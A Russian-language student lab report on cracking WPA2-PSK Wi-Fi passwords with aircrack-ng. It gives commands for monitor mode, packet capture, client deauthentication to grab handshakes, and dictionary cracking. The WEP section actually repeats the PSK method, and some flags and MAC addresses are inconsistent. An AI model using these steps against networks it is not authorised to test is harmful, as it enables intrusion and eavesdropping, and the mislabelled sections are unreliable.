Отчет по лабораторной работе №3. Aircrack

Рикардо санчес

1 Цель работы

Изучить возможности инструмента AirCrack и основы взлома WPA/WPA2, PSK и WEP.

2 Ход работы

2.1 Взлом WPA2 PSK сети

2.1.1 Установка беспроводной сетевой карты в режим мониторинга

Набираем под рутом
`iwconfig` - смотрим все беспроводные интерфейсы
`airmon-ng start wlan0` - ставим интерфейс в режим мониторинга.

2.1.2 Поиск доступных беспроводных сетей

`airodump-ng mon0` - просмотр всех каналов перечисляя точки доступа, находим доступные беспроводные сети.
Далее выбираем цель - точку с сильным сигналом и большим количеством трафика. Запишем ее канал и mac адрес.

2.1.3 Сбор данных

Пусть адаптер называется mon0 и, например, нужно захватить пакеты с 6 канала в файл под названием data. Для этого нужен airodump-ng.
`airodump-ng -c 6 bssid 00:0F:CC:7D:5A:74 -w data mon0`
-c 6 - ловим пакеты с 6 канала
bssid 00:0F:CC:7D:5A:74 - mac адрес взламываемой точки доступа.
Выходным файлом должен быть cap-файл. А на вопрос "Only write WEP IVs (y/n)"следует ответить нет.
Далее необходимо произвести захват входа клиента в сеть. Это необходимо для того, чтобы взломать WPA ключ.
`aireplay-ng -deauth 3 -a MAC_IP -c MAC_Client mon0` - генерирует дополнительный трафик к беспроводной сети, чтобы произвести атаку, для процедура переинициализации клиентов сети.

2.1.4 Атака словарем

Для начала нужен файл со словарем, его нужно поместить в директорию с программой aircrack.
`aircrack-ng -w wordlist capture_file`
wordlist - словарь, capture-file – cap-файл с данными.
Происходит перебор паролей. Если пароль не сложный, он сможе быстро подобраться.

Подбор длинного пароля происходит очень долго по времени.

2.2 Взлом WEP сети

2.2.1 Запуск беспроводного интерфейса в режим мониторинга

Режим мониторинга позволяет слушать все пакеты. `airmon-ng start wifi0 9`
- перекобчение беспроводной карты на канал 9 в режим мониторинга

2.2.2 Сбор хендшейков

Сбор рукопожатий. `airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0`
-c 9 - канал для беспроводной сети
–bssid 00:14:6C:7E:40:80 - mac адерс точки доступа
-w psk - префикс имени файла вывода
ath0 - имя интерфейса.
В предыдущем шаге мы увидели подключенного клиента. В другом сеансе консоли введем:
`aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0`
и получим вывод:
`Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]`

2.2.3 Взлом предварительного ключа

Для этого откроем еще один сеанс консоли и введем туда:
`aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap`
В файле password.lst хранится список пролей, в группе файлов *.cap содержатся перехваченные пакеты. если хендшейк найден, то aircrack-ng пытается взломать предварительный ключ.